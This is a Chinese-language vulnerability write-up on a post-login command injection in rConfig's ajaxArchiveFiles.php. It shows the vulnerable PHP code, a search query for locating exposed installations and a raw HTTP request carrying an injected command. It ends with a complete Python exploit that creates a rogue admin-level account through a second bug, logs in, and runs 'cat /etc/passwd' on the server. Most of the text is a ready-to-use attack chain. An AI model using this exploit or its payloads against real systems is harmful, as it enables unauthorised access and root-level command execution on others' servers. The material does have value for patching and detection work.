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212 lines
7.7 KiB
Markdown
212 lines
7.7 KiB
Markdown
# rConfig ajaxArchiveFiles.php 后台远程命令执行漏洞
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## 漏洞描述
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rConfig ajaxArchiveFiles.php文件中由于对path参数和ext参数进行命令拼接，导致攻击者可以远程命令执行获取服务器权限
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## 漏洞影响
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```
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rConfig
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```
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## 网络测绘
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```
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app="rConfig"
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```
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## 漏洞复现
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存在漏洞的文件
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**/home/rconfig/www/lib/ajaxHandlers/ajaxArchiveFiles.php**
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```php
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<?php
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require_once("/home/rconfig/classes/usersession.class.php");
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require_once("/home/rconfig/classes/ADLog.class.php");
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require_once("/home/rconfig/config/functions.inc.php");
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$log = ADLog::getInstance();
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if (!$session->logged_in) {
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echo 'Don\'t bother trying to hack me!!!!!<br /> This hack attempt has been logged';
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$log->Warn("Security Issue: Some tried to access this file directly from IP: " . $_SERVER['REMOTE_ADDR'] . " & Username: " . $session->username . " (File: " . $_SERVER['PHP_SELF'] . ")");
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// need to add authentication to this script
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header("Location: " . $config_basedir . "login.php");
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} else {
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//archive logs files
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$mainPath = $_GET['path'];
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$archiveMainPath = $mainPath . "archive/";
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$ext = "*." . $_GET['ext'];
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$fullpath = $mainPath . $ext;
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// create and archive dir if not already created
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if (!is_dir($archiveMainPath)) {
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mkdir("$archiveMainPath");
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}
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$today = date("Ymd");
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$commandString = "sudo -u apache zip -r -j " . $archiveMainPath . "filename" . $today . ".zip " . $mainPath . $ext;
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exec($commandString);
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foreach (glob($fullpath) as $v) {
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unlink($v);
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}
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$fileCount = count(glob($mainPath . $ext));
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if ($fileCount > 0) {
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$response = json_encode(array(
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'failure' => true
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));
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} else {
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$response = json_encode(array(
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'success' => true
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));
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}
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echo $response;
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} // end session check
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```
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关键代码如下
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```php
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$mainPath = $_GET['path'];
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$archiveMainPath = $mainPath . "archive/";
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$ext = "*." . $_GET['ext'];
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$fullpath = $mainPath . $ext;
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// create and archive dir if not already created
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if (!is_dir($archiveMainPath)) {
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mkdir("$archiveMainPath");
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}
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$today = date("Ymd");
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$commandString = "sudo -u apache zip -r -j " . $archiveMainPath . "filename" . $today . ".zip " . $mainPath . $ext;
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exec($commandString);
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```
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**ext参数** 用户可控
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```php
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$commandString = "sudo -u apache zip -r -j " . $archiveMainPath . "filename" . $today . ".zip " . $mainPath . $ext;
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```
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没有使用过滤直接拼接命令，导致命令执行，并因为sudo而root权限执行，由于是后台漏洞所以需要登录，配合任意用户创建可以RCE
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请求包为
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```plain
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GET /lib/ajaxHandlers/ajaxArchiveFiles.php?path=1&ext=;ls%3E../../test.txt HTTP/1.1
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Host:
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Cookie: cookname=testtest; cookid=a13be657db5e18e453c66c564467b0f2; PHPSESSID=lr7j5r2beat1eprpklrhiorq71
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Cache-Control: max-age=0
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Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90"
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Sec-Ch-Ua-Mobile: ?0
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Upgrade-Insecure-Requests: 1
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
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Content-Length: 2
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```
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再请求 [**http://xxx.xxx.xxx.xxx/test.txt**](http://xxx.xxx.xxx.xxx/test.txt) 验证漏洞
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## 漏洞POC
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```python
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#!/usr/bin/python3
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#-*- coding:utf-8 -*-
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# author : PeiQi
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# from : http://wiki.peiqi.tech
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import base64
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import requests
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import random
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import re
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import json
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import sys
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from requests.packages.urllib3.exceptions import InsecureRequestWarning
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from requests_toolbelt.multipart.encoder import MultipartEncoder
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def title():
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print('+------------------------------------------')
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print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
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print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
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print('+ \033[34m公众号 : PeiQi文库 \033[0m')
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print('+ \033[34mVersion: rConfig userprocess.php 任意用户创建漏洞 \033[0m')
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print('+ \033[36m使用格式: python3 poc.py \033[0m')
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print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
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print('+------------------------------------------')
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def POC_1(target_url):
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vuln_url = target_url + "/lib/crud/userprocess.php"
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referer = target_url + "useradmin.php"
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ran_number = random.randint(1, 999)
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origin = target_url
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multipart_data = MultipartEncoder(
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fields={
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'username': 'testtest{}'.format(ran_number),
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'password': 'testtest@{}'.format(ran_number),
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'passconf': 'testtest@{}'.format(ran_number),
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'email': 'testtest{}@test.com'.format(ran_number),
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'ulevelid': '9',
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'add': 'add',
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'editid': ''
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}
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)
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headers = {'Content-Type': multipart_data.content_type, "Upgrade-Insecure-Requests": "1", "Referer": referer,
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"Origin": origin}
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cookies = {'PHPSESSID': 'test'}
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try:
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requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
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response = requests.post(vuln_url, data=multipart_data, verify=False, cookies=cookies, headers=headers, allow_redirects=False)
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if "error" not in response.text:
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username = 'testtest{}'.format(ran_number)
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password = 'testtest@{}'.format(ran_number)
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print("\033[36m[o] 成功创建账户 testtest{}/testtest@{} \033[0m".format(ran_number, ran_number))
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POC_2(target_url, username, password)
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else:
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print("\033[31m[x] 创建失败:{} \033[0m")
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except Exception as e:
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print("\033[31m[x] 请求失败:{} \033[0m".format(e))
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sys.exit(0)
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def POC_2(target_url, username, password):
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print("\033[36m[o] 正在登陆账户..... \033[0m")
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vuln_url = target_url + "/lib/crud/userprocess.php"
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headers = {
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'Content-Type': "application/x-www-form-urlencoded; charset=UTF-8",
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"Referer": target_url + "deviceConnTemplates.php",
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"Origin": target_url,
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"X-Requested-With": "XMLHttpRequest",
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"Accept-Language": "en-US,en;q=0.5"
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}
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data = {
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'user': username,
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'pass': password,
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'sublogin': '1'
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}
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try:
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response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=10)
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print("\033[36m[o] 正在尝试执行 cat /etc/passwd.....\033[0m")
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with requests.Session() as s:
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p = s.post(target_url + '/lib/crud/userprocess.php', data=data, verify=False)
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if "Stephen Stack" in p.text:
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print("\033[31m[x] 登录失败 \033[0m")
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else:
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rce = s.get(target_url + '/lib/ajaxHandlers/ajaxArchiveFiles.php?path=1&ext=;cat%20/etc/passwd%3E../../test.txt', verify=False,
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headers=headers)
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if "success" in rce.text:
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response = s.get(target_url + '/test.txt', verify=False)
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print("\033[36m[o] 成功执行 cat /etc/passwd, 响应为:\n{} \033[0m".format(response.text))
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else:
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print("\033[31m[x] 请求失败 \033[0m")
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except Exception as e:
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print("\033[31m[x] 请求失败:{} \033[0m".format(e))
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sys.exit(0)
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if __name__ == '__main__':
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title()
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target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
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POC_1(target_url)
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```
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